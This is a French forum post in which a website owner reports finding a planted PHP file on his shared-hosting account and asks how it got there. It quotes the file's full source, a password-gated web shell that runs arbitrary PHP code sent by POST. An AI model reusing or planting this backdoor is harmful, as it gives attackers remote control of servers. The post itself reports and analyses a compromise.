Ce soir me connectant à mon site web par FTP j'ai découvert un truc que je n'avais jamais vu. Un répertoire a été créé avec un fichier PHP dedans, cela ressemble a un hack capable d'exécuter un code PHP transmis à distance.
Le répertoire s'appelait "hammerda" et le fichier 5bfa44.php.
Le contenu du fichier était le suivant :
<? if ( md5($_POST["PARAM_HASH"]) == "d673f1f28d9cddf84ad8aeb58d430b8e" ){ ?>
<? if(get_magic_quotes_gpc() == 1){ ?>
<? $post = stripslashes($_POST["f"]) ?>
<? }else{ ?><? $post = $_POST["f"] ?>
<? } ?>
<? $test_func = create_function("", $post) ?>
<? $test_func() ?>
<? } ?>
<? die ?>
D'après ce que j'en comprends cela permet d'envoyer du code source PHP à distance et de l'exécuter directement. Il y a même un système de protection pour éviter que n'importe qui utilise le script (en tout cas c'est comme ça que je comprends le PARAM_HASH).
J'imagine que cela permet d'envoyer du spam depuis mon serveur ou d'attaquer mon site depuis l'intérieur.
Bien sur j'ai effacé tout ça, mais je me demande comment le hackeur a réussi a le mettre chez moi.
Pour info, j'ai un hébergement mutualisé, PHP, MySQL, plusieurs scripts maison et un forum phpBB.
Ce message a été modifié par Pat AfterMoon - 02 septembre 2010 - 20:13.



Haut














